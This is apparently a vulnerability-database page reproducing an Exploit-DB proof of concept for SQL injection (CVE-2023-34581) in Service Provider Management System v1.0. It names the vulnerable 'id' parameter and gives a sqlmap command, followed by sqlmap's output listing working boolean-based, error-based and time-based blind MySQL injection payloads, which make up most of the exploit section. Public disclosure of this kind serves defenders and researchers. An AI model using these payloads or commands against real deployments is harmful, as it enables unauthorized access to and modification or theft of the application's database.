Lucene search
+L

Service Provider Management System v1.0 - SQL Injection

🗓️ 24 May 2023 00:00:00Reported by ASHIK KUNJUMONType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 297 Views

Service Provider Management System v1.0 SQL Injection via id parameter in /php-spms/?page=services/vie

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2023-34581
12 Jun 202315:15
attackerkb
circl
Circl
CVE-2023-34581
24 May 202300:00
circl
cnnvd
CNNVD
Service Provider Management System SQL注入漏洞
12 Jun 202300:00
cnnvd
cve
CVE
CVE-2023-34581
12 Jun 202300:00
cve
cvelist
Cvelist
CVE-2023-34581
12 Jun 202300:00
cvelist
euvd
EUVD
EUVD-2023-38636
3 Oct 202520:07
euvd
nvd
NVD
CVE-2023-34581
12 Jun 202315:15
nvd
osv
OSV
CVE-2023-34581
12 Jun 202315:15
osv
prion
Prion
Sql injection
12 Jun 202315:15
prion
ptsecurity
Positive Technologies
PT-2023-24934 · Sourcecodester · Sourcecodester Service Provider Management System
12 Jun 202300:00
ptsecurity
Rows per page
# Exploit Title: Service Provider Management System v1.0 - SQL Injection
# Date: 2023-05-23
# Exploit Author: Ashik Kunjumon
# Vendor Homepage: https://www.sourcecodester.com/users/lewa
# Software Link: https://www.sourcecodester.com/php/16501/service-provider-management-system-using-php-and-mysql-source-code-free-download.html
# Version: 1.0
# Tested on: Windows/Linux

1. Description:

Service Provider Management System v1.0 allows SQL Injection via ID
parameter in /php-spms/?page=services/view&id=2
Exploiting this issue could allow an attacker to compromise the
application, access or modify data,
or exploit the latest vulnerabilities in the underlying database.

Endpoint: /php-spms/?page=services/view&id=2

Vulnerable parameter: id (GET)

2. Proof of Concept:
----------------------

Step 1 - By visiting the url:
http://localhost/php-spms/?page=services/view&id=2 just add single quote to
verify the SQL Injection.
Step 2 - Run sqlmap -u " http://localhost/php-spms/?page=services/view&id=2"
-p id --dbms=mysql

SQLMap Response:
----------------------
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=services/view&id=1' AND 8462=8462 AND 'jgHw'='jgHw

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
    Payload: page=services/view&id=1' AND (SELECT 1839 FROM(SELECT
COUNT(*),CONCAT(0x7178717171,(SELECT
(ELT(1839=1839,1))),0x7176786271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'Cqhk'='Cqhk

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=services/view&id=1' AND (SELECT 1072 FROM
(SELECT(SLEEP(5)))lurz) AND 'RQzT'='RQzT

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Apr 2024 00:00Current
8.4High risk
Vulners AI Score8.4
CVSS 3.19.8
EPSS0.03282
SSVC
297